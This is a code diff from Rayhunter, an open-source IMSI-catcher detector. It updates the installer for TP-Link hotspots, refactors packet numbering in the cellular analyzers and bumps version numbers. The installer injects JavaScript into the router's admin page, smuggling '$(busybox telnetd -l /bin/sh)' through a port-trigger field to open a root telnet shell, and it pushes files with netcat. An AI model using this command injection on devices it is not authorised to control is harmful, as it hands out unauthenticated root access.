+47 -7
View File
@@ -40,6 +40,7 @@ struct V3RootResponse {
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> { pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
let client = reqwest::Client::new(); let client = reqwest::Client::new();
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
println!("Launching telnet on the device"); println!("Launching telnet on the device");
@@ -85,11 +86,20 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
anyhow::bail!("Bad result code when trying to reset the language: {result}"); anyhow::bail!("Bad result code when trying to reset the language: {result}");
} }
println!("Detected hardware revision v3"); // Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
sleep(Duration::from_millis(1000)).await;
if telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_err()
{
continue;
}
println!("Detected hardware revision v3, successfully opened telnet");
return Ok(true); return Ok(true);
} }
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); println!("This doesn't look like a v3 device, trying web-based exploit");
tplink_launch_telnet_v5(admin_ip).await?; tplink_launch_telnet_v5(admin_ip).await?;
Ok(false) Ok(false)
@@ -104,7 +114,16 @@ async fn tplink_run_install(
println!("Connecting via telnet to {admin_ip}"); println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if !skip_sdcard { if skip_sdcard {
sdcard_path = "/data/rayhunter-data".to_owned();
telnet_send_command(
addr,
&format!("mkdir -p {sdcard_path}"),
"exit code 0",
true,
)
.await?
} else {
if sdcard_path.is_empty() { if sdcard_path.is_empty() {
let try_paths = [ let try_paths = [
// TP-Link hardware less than v9.0 // TP-Link hardware less than v9.0
@@ -263,9 +282,19 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
let mut data = BytesMut::from(data); let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell. // inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => { data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"}); // Intentionally register rayhunter-daemon before rayhunter-root so that we are less
// likely to run into race conditions where rayhunter-root is launched, and the
// installer kills the server. In practice both HTTP requests may execute concurrently
// anyway.
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"}); Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
alert("Success! You can go back to the rayhunter installer."); Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
// Do not use alert(), instead replace page with success message. Using alert() will
// block the event loop in such a way that any background promises are blocked from
// progress too. For example: The HTTP requests to register our port triggers!
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
// We can stop polling now, presumably both requests are already inflight.
window.clearInterval(window.rayhunterPoll); window.clearInterval(window.rayhunterPoll);
}, 1000);"#); }, 1000);"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data))); response = Response::from_parts(parts, Body::from(Bytes::from(data)));
@@ -276,6 +305,16 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
} }
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> { async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_ok()
{
println!("telnet already appears to be running");
return Ok(());
}
let client: HttpProxyClient = let client: HttpProxyClient =
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new()) hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
.build(HttpConnector::new()); .build(HttpConnector::new());
@@ -297,8 +336,6 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let handle = tokio::spawn(async move { axum::serve(listener, app).await }); let handle = tokio::spawn(async move { axum::serve(listener, app).await });
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
while telnet_send_command(addr, "true", "exit code 0", true) while telnet_send_command(addr, "true", "exit code 0", true)
.await .await
.is_err() .is_err()
@@ -306,6 +343,9 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
sleep(Duration::from_millis(1000)).await; sleep(Duration::from_millis(1000)).await;
} }
// give the JavaScript code some additional time to run and persist the port triggers.
sleep(Duration::from_millis(1000)).await;
handle.abort(); handle.abort();
Ok(()) Ok(())
+43 -13
View File
@@ -18,12 +18,11 @@ macro_rules! echo {
} }
pub(crate) use echo; pub(crate) use echo;
pub async fn telnet_send_command( pub async fn telnet_send_command_with_output(
addr: SocketAddr, addr: SocketAddr,
command: &str, command: &str,
expected_output: &str,
wait_for_prompt: bool, wait_for_prompt: bool,
) -> Result<()> { ) -> Result<String> {
let stream = TcpStream::connect(addr).await?; let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split(); let (mut reader, mut writer) = stream.into_split();
@@ -69,9 +68,19 @@ pub async fn telnet_send_command(
} }
}) })
.await; .await;
let string = String::from_utf8_lossy(&read_buf); let string = String::from_utf8_lossy(&read_buf).to_string();
if !string.contains(expected_output) { Ok(string)
bail!("{expected_output:?} not found in: {string}"); }
pub async fn telnet_send_command(
addr: SocketAddr,
command: &str,
expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> {
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
if !output.contains(expected_output) {
bail!("{expected_output:?} not found in: {output}");
} }
Ok(()) Ok(())
} }
@@ -83,17 +92,18 @@ pub async fn telnet_send_file(
wait_for_prompt: bool, wait_for_prompt: bool,
) -> Result<()> { ) -> Result<()> {
echo!("Sending file {filename} ... "); echo!("Sending file {filename} ... ");
{ let nc_output = {
let filename = filename.to_owned(); let filename = filename.to_owned();
let handle = tokio::spawn(async move { let handle = tokio::spawn(async move {
telnet_send_command( telnet_send_command_with_output(
addr, addr,
&format!("nc -l -p 8081 >{filename}.tmp"), &format!("nc -l -p 8081 >{filename}.tmp"),
"",
wait_for_prompt, wait_for_prompt,
) )
.await .await
}); });
// wait for nc to become available. if the installer fails with connection refused, this
// likely is not high enough.
sleep(Duration::from_millis(100)).await; sleep(Duration::from_millis(100)).await;
let mut addr = addr; let mut addr = addr;
addr.set_port(8081); addr.set_port(8081);
@@ -101,11 +111,22 @@ pub async fn telnet_send_file(
{ {
let mut stream = TcpStream::connect(addr).await?; let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?; stream.write_all(payload).await?;
// ensure that stream is dropped before we wait for nc to terminate!
// if the orbic is sluggish, we need for nc to write the data to disk before
// terminating the connection. if we terminate the connection while there is unflushed
// data, that data will just not be written from nc's buffer into OS disk buffer. the
// symptom is mismatched md5 hashes.
//
// this is NOT fixed by calling fsync or similar, we're talking about dropped
// application buffers here.
sleep(Duration::from_millis(1000)).await;
// ensure that stream is dropped before we wait for nc to terminate.
} }
handle.await??; handle.await??
} };
let checksum = md5::compute(payload); let checksum = md5::compute(payload);
telnet_send_command( telnet_send_command(
addr, addr,
@@ -113,7 +134,15 @@ pub async fn telnet_send_file(
&format!("{checksum:x} {filename}.tmp"), &format!("{checksum:x} {filename}.tmp"),
wait_for_prompt, wait_for_prompt,
) )
.await?; .await
.with_context(|| {
format!(
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
nc_output.trim(),
checksum
)
})?;
telnet_send_command( telnet_send_command(
addr, addr,
&format!("mv {filename}.tmp {filename}"), &format!("mv {filename}.tmp {filename}"),
@@ -121,6 +150,7 @@ pub async fn telnet_send_file(
wait_for_prompt, wait_for_prompt,
) )
.await?; .await?;
println!("ok"); println!("ok");
Ok(()) Ok(())
} }
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter" name = "rayhunter"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection" description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
+27 -6
View File
@@ -124,7 +124,11 @@ pub trait Analyzer {
/// heuristic deems it relevant. Again, be mindful of any state your /// heuristic deems it relevant. Again, be mindful of any state your
/// [Analyzer] updates per message, since it may be run over hundreds or /// [Analyzer] updates per message, since it may be run over hundreds or
/// thousands of them alongside many other [Analyzers](Analyzer). /// thousands of them alongside many other [Analyzers](Analyzer).
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event>; fn analyze_information_element(
&mut self,
ie: &InformationElement,
packet_num: usize,
) -> Option<Event>;
/// Returns a version number for this Analyzer. This should only ever /// Returns a version number for this Analyzer. This should only ever
/// increase in value, and do so whenever substantial changes are made to /// increase in value, and do so whenever substantial changes are made to
@@ -296,6 +300,7 @@ impl<'de> Deserialize<'de> for AnalysisRow {
pub struct Harness { pub struct Harness {
analyzers: Vec<Box<dyn Analyzer + Send>>, analyzers: Vec<Box<dyn Analyzer + Send>>,
packet_num: usize,
} }
impl Default for Harness { impl Default for Harness {
@@ -308,6 +313,7 @@ impl Harness {
pub fn new() -> Self { pub fn new() -> Self {
Self { Self {
analyzers: Vec::new(), analyzers: Vec::new(),
packet_num: 0,
} }
} }
@@ -328,15 +334,15 @@ impl Harness {
} }
if analyzer_config.nas_null_cipher { if analyzer_config.nas_null_cipher {
harness.add_analyzer(Box::new(NasNullCipherAnalyzer::new())) harness.add_analyzer(Box::new(NasNullCipherAnalyzer {}))
} }
if analyzer_config.incomplete_sib { if analyzer_config.incomplete_sib {
harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new())) harness.add_analyzer(Box::new(IncompleteSibAnalyzer {}))
} }
if analyzer_config.test_analyzer { if analyzer_config.test_analyzer {
harness.add_analyzer(Box::new(TestAnalyzer::new())) harness.add_analyzer(Box::new(TestAnalyzer {}))
} }
harness harness
@@ -347,6 +353,8 @@ impl Harness {
} }
pub fn analyze_pcap_packet(&mut self, packet: EnhancedPacketBlock) -> AnalysisRow { pub fn analyze_pcap_packet(&mut self, packet: EnhancedPacketBlock) -> AnalysisRow {
self.packet_num += 1;
let epoch = DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap(); let epoch = DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap();
let mut row = AnalysisRow { let mut row = AnalysisRow {
packet_timestamp: Some(epoch + packet.timestamp), packet_timestamp: Some(epoch + packet.timestamp),
@@ -383,6 +391,8 @@ impl Harness {
pub fn analyze_qmdl_messages(&mut self, container: MessagesContainer) -> Vec<AnalysisRow> { pub fn analyze_qmdl_messages(&mut self, container: MessagesContainer) -> Vec<AnalysisRow> {
let mut rows = Vec::new(); let mut rows = Vec::new();
for maybe_qmdl_message in container.into_messages() { for maybe_qmdl_message in container.into_messages() {
self.packet_num += 1;
rows.push(AnalysisRow { rows.push(AnalysisRow {
packet_timestamp: None, packet_timestamp: None,
skipped_message_reason: None, skipped_message_reason: None,
@@ -424,10 +434,21 @@ impl Harness {
rows rows
} }
pub fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> { fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> {
// This method is private because incrementing packet_num is currently handled entirely by the other
// methods that call this one. This could be changed with some careful refactoring, but
// while this method is only used by other Harness methods, let's keep it private to help
// ensure we always bump packet_num exactly once for each processed packet.
let packet_str = format!(" (packet {})", self.packet_num);
self.analyzers self.analyzers
.iter_mut() .iter_mut()
.map(|analyzer| analyzer.analyze_information_element(ie)) .map(|analyzer| {
let mut maybe_event = analyzer.analyze_information_element(ie, self.packet_num);
if let Some(ref mut event) = maybe_event {
event.message.push_str(&packet_str);
}
maybe_event
})
.collect() .collect()
} }
@@ -25,7 +25,11 @@ impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
1 1
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
&mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
if let InformationElement::LTE(lte_ie) = ie if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::DlDcch(msg_cont) = &**lte_ie && let LteInformationElement::DlDcch(msg_cont) = &**lte_ie
&& let DL_DCCH_MessageType::C1(c1) = &msg_cont.message && let DL_DCCH_MessageType::C1(c1) = &msg_cont.message
+20 -37
View File
@@ -23,7 +23,6 @@ pub enum State {
} }
pub struct ImsiRequestedAnalyzer { pub struct ImsiRequestedAnalyzer {
packet_num: usize,
state: State, state: State,
timeout_counter: usize, timeout_counter: usize,
flag: Option<Event>, flag: Option<Event>,
@@ -38,20 +37,19 @@ impl Default for ImsiRequestedAnalyzer {
impl ImsiRequestedAnalyzer { impl ImsiRequestedAnalyzer {
pub fn new() -> Self { pub fn new() -> Self {
Self { Self {
packet_num: 0,
state: State::Unattached, state: State::Unattached,
timeout_counter: 0, timeout_counter: 0,
flag: None, flag: None,
} }
} }
fn transition(&mut self, next_state: State) { fn transition(&mut self, next_state: State, packet_num: usize) {
match (&self.state, &next_state) { match (&self.state, &next_state) {
// Reset timeout on successful auth // Reset timeout on successful auth
(_, State::AuthAccept) => { (_, State::AuthAccept) => {
debug!( debug!(
"reset timeout counter at {} due to auth accept (frame {})", "reset timeout counter at {} due to auth accept (frame {})",
self.timeout_counter, self.packet_num self.timeout_counter, packet_num
); );
self.timeout_counter = 0; self.timeout_counter = 0;
} }
@@ -60,10 +58,7 @@ impl ImsiRequestedAnalyzer {
(State::AuthAccept, State::IdentityRequest) => { (State::AuthAccept, State::IdentityRequest) => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::High, event_type: EventType::High,
message: format!( message: "Identity requested after auth request".to_string(),
"Identity requested after auth request (frame {})",
self.packet_num
),
}); });
} }
@@ -71,10 +66,7 @@ impl ImsiRequestedAnalyzer {
(State::Disconnect, State::IdentityRequest) => { (State::Disconnect, State::IdentityRequest) => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::High, event_type: EventType::High,
message: format!( message: "Identity requested without Attach Request".to_string(),
"Identity requested without Attach Request (frame {})",
self.packet_num
),
}); });
} }
@@ -82,10 +74,7 @@ impl ImsiRequestedAnalyzer {
(State::IdentityRequest, State::Disconnect) => { (State::IdentityRequest, State::Disconnect) => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::High, event_type: EventType::High,
message: format!( message: "Disconnected after Identity Request without Auth Accept".to_string(),
"Disconnected after Identity Request without Auth Accept (frame {})",
self.packet_num
),
}); });
} }
@@ -93,11 +82,7 @@ impl ImsiRequestedAnalyzer {
(_, State::IdentityRequest) => { (_, State::IdentityRequest) => {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::Informational, event_type: EventType::Informational,
message: format!( message: "Identity Request happened but its not suspicious yet.".to_string(),
"Identity Request happened but its not suspicious yet. (frame {})",
self.packet_num
)
.to_string(),
}); });
self.timeout_counter = 0; self.timeout_counter = 0;
} }
@@ -106,7 +91,7 @@ impl ImsiRequestedAnalyzer {
_ => { _ => {
debug!( debug!(
"Transition from {:?} to {:?} at {}", "Transition from {:?} to {:?} at {}",
self.state, next_state, self.packet_num self.state, next_state, packet_num
); );
} }
} }
@@ -129,29 +114,31 @@ impl Analyzer for ImsiRequestedAnalyzer {
3 3
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
self.packet_num += 1; &mut self,
ie: &InformationElement,
packet_num: usize,
) -> Option<Event> {
if let InformationElement::LTE(inner) = ie { if let InformationElement::LTE(inner) = ie {
match &**inner { match &**inner {
LteInformationElement::NAS(payload) => match payload { LteInformationElement::NAS(payload) => match payload {
NASMessage::EMMMessage(EMMMessage::EMMExtServiceRequest(_)) NASMessage::EMMMessage(EMMMessage::EMMExtServiceRequest(_))
| NASMessage::EMMMessage(EMMMessage::EMMAttachRequest(_)) => { | NASMessage::EMMMessage(EMMMessage::EMMAttachRequest(_)) => {
self.transition(State::AttachRequest); self.transition(State::AttachRequest, packet_num);
} }
NASMessage::EMMMessage(EMMMessage::EMMIdentityRequest(_)) => { NASMessage::EMMMessage(EMMMessage::EMMIdentityRequest(_)) => {
self.transition(State::IdentityRequest); self.transition(State::IdentityRequest, packet_num);
} }
NASMessage::EMMMessage(EMMMessage::EMMAttachComplete(_)) NASMessage::EMMMessage(EMMMessage::EMMAttachComplete(_))
| NASMessage::EMMMessage(EMMMessage::EMMAuthenticationResponse(_)) => { | NASMessage::EMMMessage(EMMMessage::EMMAuthenticationResponse(_)) => {
self.transition(State::AuthAccept); self.transition(State::AuthAccept, packet_num);
} }
NASMessage::EMMMessage(EMMMessage::EMMServiceReject(_)) NASMessage::EMMMessage(EMMMessage::EMMServiceReject(_))
| NASMessage::EMMMessage(EMMMessage::EMMAttachReject(_)) | NASMessage::EMMMessage(EMMMessage::EMMAttachReject(_))
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMO(_)) | NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMO(_))
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMT(_)) | NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMT(_))
| NASMessage::EMMMessage(EMMMessage::EMMTrackingAreaUpdateReject(_)) => { | NASMessage::EMMMessage(EMMMessage::EMMTrackingAreaUpdateReject(_)) => {
self.transition(State::Disconnect); self.transition(State::Disconnect, packet_num);
} }
_ => {} _ => {}
}, },
@@ -161,7 +148,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
| UL_CCCH_MessageType::C1( | UL_CCCH_MessageType::C1(
UL_CCCH_MessageType_c1::RrcConnectionReestablishmentRequest(_), UL_CCCH_MessageType_c1::RrcConnectionReestablishmentRequest(_),
) => { ) => {
self.transition(State::AttachRequest); self.transition(State::AttachRequest, packet_num);
} }
_ => {} _ => {}
}, },
@@ -171,7 +158,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
_, _,
)) = rrc_payload.message )) = rrc_payload.message
{ {
self.transition(State::Disconnect) self.transition(State::Disconnect, packet_num)
} }
} }
_ => {} _ => {}
@@ -182,16 +169,12 @@ impl Analyzer for ImsiRequestedAnalyzer {
self.timeout_counter += 1; self.timeout_counter += 1;
debug!( debug!(
"timeout: counter {}, packet: {}", "timeout: counter {}, packet: {}",
self.timeout_counter, self.packet_num self.timeout_counter, packet_num
); );
if self.timeout_counter >= TIMEOUT_THRESHHOLD { if self.timeout_counter >= TIMEOUT_THRESHHOLD {
self.flag = Some(Event { self.flag = Some(Event {
event_type: EventType::Informational {}, event_type: EventType::Informational {},
message: format!( message: "Identity request happened without auth request followup".to_string(),
"Identity request happened without auth request followup (frame {})",
self.packet_num
)
.to_string(),
}); });
self.timeout_counter = 0; self.timeout_counter = 0;
} }
+9 -24
View File
@@ -5,21 +5,7 @@ use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
pub struct IncompleteSibAnalyzer { pub struct IncompleteSibAnalyzer {}
packet_num: usize,
}
impl Default for IncompleteSibAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl IncompleteSibAnalyzer {
pub fn new() -> Self {
Self { packet_num: 0 }
}
}
impl Analyzer for IncompleteSibAnalyzer { impl Analyzer for IncompleteSibAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<'_, str> {
@@ -31,12 +17,14 @@ impl Analyzer for IncompleteSibAnalyzer {
} }
fn get_version(&self) -> u32 { fn get_version(&self) -> u32 {
1 2
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
self.packet_num += 1; &mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
if let InformationElement::LTE(lte_ie) = ie if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie && let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message && let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
@@ -44,11 +32,8 @@ impl Analyzer for IncompleteSibAnalyzer {
&& sib1.scheduling_info_list.0.len() < 2 && sib1.scheduling_info_list.0.len() < 2
{ {
return Some(Event { return Some(Event {
event_type: EventType::Medium, event_type: EventType::Informational,
message: format!( message: "SIB1 scheduling info list was malformed".to_string(),
"SIB1 scheduling info list was malformed (packet {})",
self.packet_num
),
}); });
} }
None None
+7 -21
View File
@@ -7,21 +7,7 @@ use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAl
use super::analyzer::{Analyzer, Event, EventType}; use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
pub struct NasNullCipherAnalyzer { pub struct NasNullCipherAnalyzer {}
packet_num: usize,
}
impl Default for NasNullCipherAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl NasNullCipherAnalyzer {
pub fn new() -> Self {
Self { packet_num: 0 }
}
}
impl Analyzer for NasNullCipherAnalyzer { impl Analyzer for NasNullCipherAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<'_, str> {
@@ -38,8 +24,11 @@ impl Analyzer for NasNullCipherAnalyzer {
1 1
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
self.packet_num += 1; &mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
let payload = match ie { let payload = match ie {
InformationElement::LTE(inner) => match &**inner { InformationElement::LTE(inner) => match &**inner {
LteInformationElement::NAS(payload) => payload, LteInformationElement::NAS(payload) => payload,
@@ -53,10 +42,7 @@ impl Analyzer for NasNullCipherAnalyzer {
{ {
return Some(Event { return Some(Event {
event_type: EventType::High, event_type: EventType::High,
message: format!( message: "NAS Security mode command requested null cipher".to_string(),
"NAS Security mode command requested null cipher(packet {})",
self.packet_num
),
}); });
} }
None None
+5 -1
View File
@@ -131,7 +131,11 @@ impl Analyzer for NullCipherAnalyzer {
1 1
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
&mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
let dcch_msg = match ie { let dcch_msg = match ie {
InformationElement::LTE(lte_ie) => match &**lte_ie { InformationElement::LTE(lte_ie) => match &**lte_ie {
LteInformationElement::DlDcch(dcch_msg) => dcch_msg, LteInformationElement::DlDcch(dcch_msg) => dcch_msg,
@@ -49,6 +49,7 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
fn analyze_information_element( fn analyze_information_element(
&mut self, &mut self,
ie: &InformationElement, ie: &InformationElement,
_packet_num: usize,
) -> Option<super::analyzer::Event> { ) -> Option<super::analyzer::Event> {
let sibs = &self.unpack_system_information(ie)?.0; let sibs = &self.unpack_system_information(ie)?.0;
for sib in sibs { for sib in sibs {
+19 -22
View File
@@ -6,21 +6,7 @@ use super::analyzer::{Analyzer, Event, EventType};
use super::information_element::{InformationElement, LteInformationElement}; use super::information_element::{InformationElement, LteInformationElement};
use deku::bitvec::*; use deku::bitvec::*;
pub struct TestAnalyzer { pub struct TestAnalyzer {}
packet_num: usize,
}
impl Default for TestAnalyzer {
fn default() -> Self {
Self::new()
}
}
impl TestAnalyzer {
pub fn new() -> Self {
Self { packet_num: 0 }
}
}
impl Analyzer for TestAnalyzer { impl Analyzer for TestAnalyzer {
fn get_name(&self) -> Cow<'_, str> { fn get_name(&self) -> Cow<'_, str> {
@@ -37,9 +23,11 @@ impl Analyzer for TestAnalyzer {
1 1
} }
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> { fn analyze_information_element(
self.packet_num += 1; &mut self,
ie: &InformationElement,
_packet_num: usize,
) -> Option<Event> {
if let InformationElement::LTE(lte_ie) = ie if let InformationElement::LTE(lte_ie) = ie
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie && let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message && let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
@@ -50,23 +38,32 @@ impl Analyzer for TestAnalyzer {
.cell_identity .cell_identity
.0 .0
.as_bitslice() .as_bitslice()
.load::<u32>(); .load_be::<u32>();
let plmn = &sib1.cell_access_related_info.plmn_identity_list.0; let plmn = &sib1.cell_access_related_info.plmn_identity_list.0;
let mcc_string: String; let mcc_string: String;
// MCC are always 3 digits
if let Some(mcc) = &plmn[0].plmn_identity.mcc { if let Some(mcc) = &plmn[0].plmn_identity.mcc {
mcc_string = format!("{}{}{}", mcc.0[0].0, mcc.0[1].0, mcc.0[2].0); mcc_string = format!("{}{}{}", mcc.0[0].0, mcc.0[1].0, mcc.0[2].0);
} else { } else {
mcc_string = "nomcc".to_string(); mcc_string = "nomcc".to_string();
} }
let mnc = &plmn[0].plmn_identity.mnc; let mnc = &plmn[0].plmn_identity.mnc;
let mnc_string: String = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0); let mnc_string: String;
// MNC can be 2 or 3 digits
if mnc.0.len() == 3 {
mnc_string = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0);
} else if mnc.0.len() == 2 {
mnc_string = format!("{}{}", mnc.0[0].0, mnc.0[1].0);
} else {
mnc_string = format!("{:?}", mnc.0);
}
return Some(Event { return Some(Event {
event_type: EventType::Low, event_type: EventType::Low,
message: format!( message: format!(
"SIB1 received (packet {}) CID: {}, PLMN: {}-{}", "SIB1 received CID: {}, PLMN: {}-{}",
self.packet_num, cid, mcc_string, mnc_string cid, mcc_string, mnc_string
), ),
}); });
} }
+1 -1
View File
@@ -2,7 +2,7 @@
pushd daemon/web pushd daemon/web
npm run build npm run build
popd popd
cargo build --profile firmware-devel --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug cargo build-daemon-firmware-devel
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"' adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \ adb push target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon \
/data/rayhunter/rayhunter-daemon /data/rayhunter/rayhunter-daemon
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rootshell" name = "rootshell"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "telcom-parser" name = "telcom-parser"
version = "0.6.1" version = "0.7.1"
edition = "2024" edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html